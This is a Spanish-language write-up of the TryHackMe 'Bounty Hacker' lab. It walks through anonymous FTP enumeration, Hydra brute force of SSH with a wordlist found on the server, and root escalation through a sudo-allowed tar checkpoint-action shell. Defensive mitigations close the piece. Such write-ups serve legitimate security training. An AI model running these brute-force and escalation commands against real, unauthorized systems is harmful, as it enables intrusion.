Bounty Hacker — TryHackMe (Fácil)

Plataforma: TryHackMe **Dificultad:** Fácil **Categorías:** Reconocimiento de red, FTP anónimo, fuerza bruta de credenciales, escalada de privilegios en Linux **Tiempo invertido:** ~30 minutos **Herramientas:** Nmap, ftp, Hydra, SSH

Índice

1. Resumen
2. Reconocimiento
3. Acceso FTP anónimo
4. Fuerza bruta con Hydra
5. Acceso por SSH
6. Escalada de privilegios
7. Lecciones aprendidas
8. Mitigaciones
9. Referencias

Resumen

Bounty Hacker es una máquina Linux con tres servicios expuestos: FTP, SSH y HTTP. El servidor FTP permite acceso anónimo y expone una lista de tareas con el nombre del autor y una wordlist de contraseñas. Con esos datos se realiza fuerza bruta contra SSH con Hydra para obtener acceso inicial. La escalada de privilegios se logra mediante un permiso de sudo mal configurado sobre `tar`.

1. Reconocimiento

Escaneo de puertos con detección de versiones:

```
nmap -sC -sV <IP>
```

Puerto	Servicio	Versión
21	FTP	vsftpd 3.0.5
22	SSH	OpenSSH 8.2p1 Ubuntu
80	HTTP	Apache 2.4.41 (Ubuntu)

El escaneo reveló un detalle crítico en el puerto 21: ftp-anon: Anonymous FTP login allowed

Esto indica que el servidor FTP acepta conexiones sin credenciales, usando el usuario especial `anonymous`.

2. Acceso FTP anónimo

Conexión al servidor FTP sin credenciales:

```
ftp <IP>
# Name: anonymous
# Password: (Enter)
```

Listado de archivos disponibles:

```
ls
```

Se encontraron dos archivos: `task.txt` y `locks.txt`. Descarga de ambos:

```
get task.txt
get locks.txt
bye
```

Contenido de `task.txt`: una lista de tareas firmada al final con un nombre de usuario — el autor de la lista.

Contenido de `locks.txt`: una lista de 26 contraseñas con variaciones de mayúsculas, números y símbolos especiales. Es una wordlist personalizada, equivalente a un subconjunto de `rockyou.txt` pero enfocado en un patrón específico.

3. Fuerza bruta con Hydra

Con el usuario encontrado en `task.txt` y la wordlist de `locks.txt`, se realizó fuerza bruta contra el servicio SSH:

```
hydra -l <usuario> -P locks.txt ssh://<IP>
```

Opción	Significado
`-l <usuario>`	Un solo usuario a probar (minúscula = usuario único)
`-P locks.txt`	Wordlist de contraseñas (mayúscula = lista de contraseñas)
`ssh://<IP>`	Servicio y dirección objetivo

Hydra probó las 26 contraseñas de la lista y encontró la correcta en segundos, devolviendo el par usuario:contraseña válido.

Por qué SSH y no FTP o HTTP: el archivo `task.txt` sugería un usuario de sistema Linux (nombre corto, sin dominio), lo que apunta a SSH como el servicio de acceso principal. FTP ya estaba abierto de forma anónima, y HTTP no suele aceptar credenciales de sistema.

4. Acceso por SSH

```
ssh <usuario>@<IP>
```

Una vez dentro, verificación estándar:

```
whoami
ls
cat user.txt
```

La flag de usuario estaba en el escritorio (`~/Desktop/user.txt`), legible directamente.

5. Escalada de privilegios

Verificación de permisos de sudo:

```
sudo -l
```

Resultado: (root) /bin/tar

El usuario tiene permiso para ejecutar `tar` como root sin contraseña. `tar` es una herramienta de compresión de archivos, pero incluye las opciones `--checkpoint` y `--checkpoint-action`, diseñadas para ejecutar comandos automáticamente durante el procesamiento de archivos. Con sudo, esos comandos heredan los privilegios de root.

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
```

Parte	Significado
`sudo tar`	Ejecuta tar con privilegios de root
`-cf /dev/null /dev/null`	Operación ficticia: crea un archivo vacío, solo para que tar tenga algo que procesar
`--checkpoint=1`	Ejecuta la acción en cada archivo procesado (inmediatamente)
`--checkpoint-action=exec=/bin/bash`	La acción: lanzar una shell bash, que hereda los privilegios de root

Confirmación:

```
whoami
# root

cat /root/root.txt
```

Lecciones aprendidas

- El acceso FTP anónimo es una configuración legítima para distribución de archivos públicos, pero en servidores mal configurados puede exponer información sensible como usuarios y contraseñas.
- Hydra automatiza la fuerza bruta de credenciales contra servicios de red. La distinción `-l` (usuario único) vs `-L` (lista de usuarios) y `-p` (contraseña única) vs `-P` (lista de contraseñas) es fundamental para usarlo correctamente.
- `tar`, como `vim` en salas anteriores, es un ejemplo de binario que puede usarse para escalar privilegios cuando tiene permiso de sudo. GTFOBins documenta decenas de casos similares.
- La wordlist no tiene que ser `rockyou.txt`: en esta sala la wordlist estaba en el propio servidor, personalizada para el usuario objetivo. En pentesting real, generar wordlists específicas basadas en información del objetivo (nombre, empresa, fechas) aumenta significativamente la tasa de éxito.

Mitigaciones (perspectiva defensiva)

- Deshabilitar el acceso FTP anónimo si no es estrictamente necesario, o restringirlo a una carpeta específica sin archivos sensibles.
- No almacenar listas de contraseñas ni información de usuarios en servidores accesibles públicamente.
- Auditar los permisos de sudo: `tar` no debería tener permiso de sudo para usuarios no privilegiados. Revisar GTFOBins antes de otorgar sudo sobre cualquier binario.
- Usar contraseñas que no sean variaciones predecibles de una misma palabra base — una wordlist de 26 entradas fue suficiente para crackearla en segundos.

Referencias

- TryHackMe — Bounty Hacker
- GTFOBins — tar
- Hydra